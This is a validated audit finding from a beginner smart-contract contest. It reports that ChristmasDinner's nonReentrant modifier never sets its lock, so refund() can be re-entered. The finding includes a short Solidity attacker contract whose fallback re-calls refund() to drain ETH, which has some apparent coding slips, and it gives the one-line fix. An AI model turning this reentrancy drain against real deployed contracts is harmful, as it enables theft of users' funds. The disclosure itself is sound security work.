Christmas Dinner
First Flight #31
Beginner FriendlyFoundrySolidity
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

Can re-enter ChristmasDinner::refund() and steal funds

0xziin

Summary

Reentrancy vulnerability, it is possible for an attacker to re-enter the refund() function and steal funds from the contract.

https://github.com/Cyfrin/2024-12-christmas-dinner/blob/main/src/ChristmasDinner.sol#L137

Vulnerability Details

The refund() function can be re-entered because the nonReentrant modifier never set locked to true.

https://github.com/Cyfrin/2024-12-christmas-dinner/blob/main/src/ChristmasDinner.sol#L77-L81

modifier nonReentrant() {
require(!locked, "No re-entrancy");
_;
locked = false;
}

locked being always false, then require(!locked, "No re-entrancy"); will always go through, leading to a reentrancy vulnerability.

Then refund() can be executed multiple times to steal funds from the contract :

https://github.com/Cyfrin/2024-12-christmas-dinner/blob/main/src/ChristmasDinner.sol#L137C2-L142C6

function refund() external nonReentrant beforeDeadline {
address payable _to = payable(msg.sender);
_refundERC20(_to);
_refundETH(_to);
emit Refunded(msg.sender);
}

POC (Proof Of Concept)

Re-enter the contract and steal ETH :
- In this example the contract has 10 ETH;
- We first send 2 ETH to the attackerContract (when initializing)
- We choose to steal only 2 ETH as a POC but it can be optimized to drain more from the contract;

Initialize the contract with the target contract address and _amoutETH = 2 ether.

contract attackerContract {
​
address ChristmasDinnerAddress;
uint256 amountETH;
ChristmasDinner CD = ChristmasDinner(ChristmasDinnerAddress);
uint256 count;
​
constructor(address ChristmasDinnerAddr, uint256 _amountETH) payable {
ChristmasDinnerAddress = ChristmasDinnerAddr;
uint256 amountETH = _amountETH;
}
​
​
function attack() external payable {
//send "amountETH" of Ether to the target contract
ChristmasDinnerAddress.call{value: amountETH}();
​
// Ask for a refund
CD.refund();
}
​
​
fallback() payable {
if(count < 1) { //test for 1 re-enter
count++;
CD.refund(); //Re-enter the contract
}
}
​
}


Impact

Loss of funds : ETH can be stolen.

Tools Used

Manual review, GitHub, RemixIDE.

Recommendations

Add locked = true; to the nonReentrant modifier :

modifier nonReentrant() {
require(!locked, "No re-entrancy");
locked = true; // <-- added
_;
locked = false;
}
Updates

Lead Judging Commences

0xtimefliez Lead Judge 11 months ago
Submission Judgement Published
Validated
Assigned finding tags:

mutex lock incomplete

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.